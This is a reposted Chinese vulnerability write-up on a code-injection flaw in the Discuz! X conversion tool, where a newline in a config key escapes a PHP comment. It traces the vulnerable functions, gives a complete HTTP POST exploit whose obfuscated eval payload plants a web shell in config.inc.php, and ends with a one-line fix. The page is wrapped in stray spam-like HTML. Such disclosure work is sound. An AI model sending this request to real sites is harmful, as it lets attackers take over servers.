<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/papers/929

            0x01 漏洞分析


            漏洞的根源在代碼注釋中出現換行,導致代碼執行,流程如下:

            0x0101 首先,從 index.php第30行跟入。

            enter image description here

            0x0102 do_config_inc.php的第37行,跟入這個save_config_file()函數。

            enter image description here

            0x0103 gobal.func.php第624行,跟入這個getvars()函數。

            enter image description here

            0x0104 繼續跟入buildarray()這個函數

            enter image description here

            0x0105 漏洞出現在598行,這個$newline的問題。

            enter image description here

            這里因為$key可控,所以$newline可控,當$newline出現 或 時,導致BBB可以作為php代碼執行。如圖所示。

            enter image description here

            0x02 漏洞利用


            可以構造如下請求:

            POST /DZ2/convert/ HTTP/1.1
            Host: 192.168.52.129
            Proxy-Connection: keep-alive
            Content-Length: 925
            Cache-Control: max-age=0
            Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
            Origin: null
            User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.57 Safari/537.36
            Content-Type: application/x-www-form-urlencoded
            Accept-Encoding: gzip,deflate,sdch
            Accept-Language: zh-CN,zh;q=0.8
            
            a=config&source=d7.2_x2.0&submit=yes&newconfig%5Btarget%5D%5Bdbhost%5D=localhost&newconfig%5Baaa%0D%0A%0D%0Aeval%28CHR%28101%29.CHR%28118%29.CHR%2897%29.CHR%28108%29.CHR%2840%29.CHR%2834%29.CHR%2836%29.CHR%2895%29.CHR%2880%29.CHR%2879%29.CHR%2883%29.CHR%2884%29.CHR%2891%29.CHR%2899%29.CHR%2893%29.CHR%2859%29.CHR%2834%29.CHR%2841%29.CHR%2859%29%29%3B%2F%2F%5D=localhost&newconfig%5Bsource%5D%5Bdbuser%5D=root&newconfig%5Bsource%5D%5Bdbpw%5D=&newconfig%5Bsource%5D%5Bdbname%5D=discuz&newconfig%5Bsource%5D%5Btablepre%5D=cdb_&newconfig%5Bsource%5D%5Bdbcharset%5D=&newconfig%5Bsource%5D%5Bpconnect%5D=1&newconfig%5Btarget%5D%5Bdbhost%5D=localhost&newconfig%5Btarget%5D%5Bdbuser%5D=root&newconfig%5Btarget%5D%5Bdbpw%5D=&newconfig%5Btarget%5D%5Bdbname%5D=discuzx&newconfig%5Btarget%5D%5Btablepre%5D=pre_&newconfig%5Btarget%5D%5Bdbcharset%5D=&newconfig%5Btarget%5D%5Bpconnect%5D=1&submit=%B1%A3%B4%E6%B7%FE%CE%F1%C6%F7%C9%E8%D6%C3
            

            發送這段請求直接getshell,惡意代碼寫入/convert/data/config.inc.php文件當中,如圖所示。

            enter image description here

            0x03 關于修復


            需要在global.func.php文件的buildarray函數中過濾掉$key中的非字母、數字及下劃線字符,即添加代碼如下:

            #!php
            $key = preg_replace("/[^w]/","", $key);
            

            如圖所示。

            enter image description here

            (以上分析僅供學習交流,各DZ!X系列站長勿忘修復!)

            以上為360網站安全中心博客文章,原文:http://loudong.#/blog/view/id/15

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线